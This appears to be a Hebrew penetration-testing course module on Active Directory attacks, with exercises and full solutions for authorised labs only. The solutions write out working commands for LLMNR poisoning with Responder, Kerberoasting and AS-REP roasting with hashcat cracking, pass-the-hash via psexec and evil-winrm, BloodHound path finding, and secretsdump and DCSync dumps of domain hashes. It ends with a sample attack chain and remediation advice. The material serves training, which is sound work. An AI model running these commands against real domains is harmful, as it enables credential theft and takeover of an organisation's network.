

— Active Directory — מודול 13

תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 13: Active Directory
2.  פתרונות מלאים — מודול 13: Active Directory

תרגילים — מודול 13: Active Directory

⚠ רק על מעבדת AD חוקית — מומלץ (Attacktive Directory, Attacking Kerberos) TryHackMe, או מעבדה מקומית (GOAD). לעולם לא על דומיין ארגוני ללא הרשאה בכתב. פתרונות ב- solutions.md.

מקרא רמות: קל • בינוני • מתקדם • אתגר

חלק א' — יסודות ו-Enumeration (●●)

13.1 — הסבר במילים שלך: מהו Domain Controller, ולמה השתלטות עליו = שליטה בכל הארגון?

13.2 — תאר בקצרה את זרימת אימות Kerberos (TGT → TGS → שירות).

13.3 ● — בצע Enumeration על DC: מצא את שם הדומיין, גרסת השרת, ורשימת משתמשים (crackmapexec / enum4linux-ng). רשום את הפקודות.

חלק ב' — תקיפות Kerberos ו-LLMNR (●)

13.4 ● — הפעל Responder ולכוד NTLMv2 hash של משתמש (סימולציה: גש לשם שגוי ממכונת לקוח). פצח אותו עם hashcat (-m 5600).

13.5 ● — בצע Kerberoasting: בקש את ה-TGS של חשבונות השירות (GetUserSPNs.py - request), ופצח אותם (-m 13100).

13.6 ● — בצע AS-REP Roasting: מצא חשבונות ללא preauth (GetNPUsers.py) ופצח (-m 18200). מה מיוחד בתקיפה זו לעומת Kerberoasting?

חלק ג' — תנועה רוחבית ו-BloodHound (●)

13.7 ● — עם NTLM hash של Local Admin, בצע Pass-the-Hash למכונה נוספת (crackmapexec / evil-winrm / psexec). הסבר למה לא צריך לפצח את הסיסמה.

13.8 ● — הרץ BloodHound (bloodhound-python), טען את הנתונים, והרץ את השאילתה "Shortest Path to Domain Admins". תאר את הנתוב שמצאת.

● אתגר מסכם — “מ-Zero ל-Admin Domain”

בחדר AD מלא (TryHackMe *Attactive Directory* או מעבדת GOAD):

1. התחל ללא אישורים (או עם משתמש הכי מוגבל).
2. השג אישורים ראשונים (brute / AS-REP / LLMNR).
3. הרחב עם Kerberoasting ו-BloodHound — מצא נתיב ל-Domain Admin.
4. בצע תנועה רוחבית (Pass-the-Hash) עד לחשבון בעל הרשאות גבוהות.
5. סיים ב-DCSync — שלוף את ה-hash של Administrator, והוכח Domain Admin.
6. תעד את כל השרשרת: כל שלב, הכלי, הפקודה, והתוצאה.

📦 שרשרת “Zero to Domain Admin” היא בדיוק בחינת ה-AD של PNPT/OSCP. תעד אותה במלואה — זהו נכס מרכזי לתיק העבודות.

✅ רשימת בקרה — לפני מעבר למודול 14

- אני מבין מבנה (Domain, DC, Kerberos, SPN) AD
- אני מבצע Enumeration של דומיין (crackmapexec/BloodHound)
- אני מבצע LLMNR Poisoning עם Responder
- אני מבצע Kerberoasting ו-AS-REP Roasting ומפצח
- אני מבצע Pass-the-Hash לתנועה רוחבית
- אני משתמש ב-BloodHound למציאת נתיב ל-Domain Admin
- אני מבין DCSync ו-Golden Ticket

פתרונות מלאים: `solutions.md`

✅ פתרונות מלאים — מודול 13: Active Directory

נסה לבד ב- `missions.md` קודם. כל הפעולות על מעבדת AD חוקית בלבד.

חלק א' — יסודות ו-Enumeration

13.1 — ה-DC מריץ את AD ומאמת כל התחברות בדומיין; הוא מחזיק את מסד הסיסמאות (NTDS.dit). שליטה עליו = שליטה בכל המשתמשים, המחשבים והמדיניות → כל הארגון.

13.2 — המשתמש מבקש TGT מה-KDC (על ה-DC) בעת התחברות; עם ה-TGT מבקש TGS לשירות ספציפי; מציג את ה-TGS לשירות → גישה. הכול מבוסס כרטיסים מוצפנים.

13.3

```
crackmapexec smb <dc-ip> # גרסה, hostname, דומיין
enum4linux-ng -A <dc-ip> # משתמשים, shares, policy
crackmapexec smb <dc-ip> -u user -p pass --users
```

חלק ב' — Kerberos ו-LLMNR

13.4

```
sudo responder -I eth0 -dwv
# logs-נלכד ל hash NTLMv2 → כשלקוח ניגש לשם שגוי
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

13.5

```
GetUserSPNs.py corp.local/user:pass -dc-ip <dc-ip> -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
```

13.6

```
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip <dc-ip> -format hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

המיוחד: לא צריך אישורים — רק שמות משתמש; פוגע בחשבונות עם "Do not require preauth".

חלק ג' — תנועה רוחבית ו-BloodHound

13.7

```
crackmapexec smb <target> -u Administrator -H <NTLM-hash>
evil-winrm -i <target> -u Administrator -H <NTLM-hash>
psexec.py -hashes :<NTLM-hash> Administrator@<target>
```

NTLM מאמת מול ה-hash, לא מול הסיסמה הגולמית → אפשר "להעביר" את ה-hash כמו שזה.

13.8

```
bloodhound-python -u user -p pass -d corp.local -ns <dc-ip> -c All
# "Shortest Path to Domain Admins" שאילתה → (neo4j) ל-BloodHound JSON טוענים
```

דוגמה לנתיב: DAuser של session → SRV01 → AdminTo → member of "IT Support" → user
DCSync.

13.9

```
secretsdump.py corp.local/admin:pass@<target>
```

שולף: **LSA secrets, cached credentials**, **SAM** (local hashes). על DC — גם **NTDS.dit** (כל הדומיין).

אתגר מסכם — שרשרת מלאה לדוגמה

```
# דוח בדיקת AD – corp.local
```

1. LLMNR: responder → NTLMv2 של j.smith → hashcat → "Summer2021"
2. Enum: crackmapexec smb -u j.smith → גישה, GetUserSPNs
3. Kerberoast: TGS של svc_sql → hashcat → "Password123!"
4. BloodHound: svc_sql → AdminTo → FILE01; FILE01 מכיל session של DA
5. PtH: secretsdump על FILE01 → NTLM של DA
6. DCSync: secretsdump corp.local/DA@dc → hash של Administrator
7. → psexec ל-DC עם ה-hash → Domain Admin 🏆

```
## המלצות תיקון
```

- (gMSA) סיסמאות חזקות לחשבונות שירות; LLMNR/NBT-NS כבה
- DCSync נטר; least-privilege; לכל החשבונות preauth הפעל

עברת מ-Zero ל-Domain Admin — היעד של כל בדיקה פנימית. המשך למודול 14.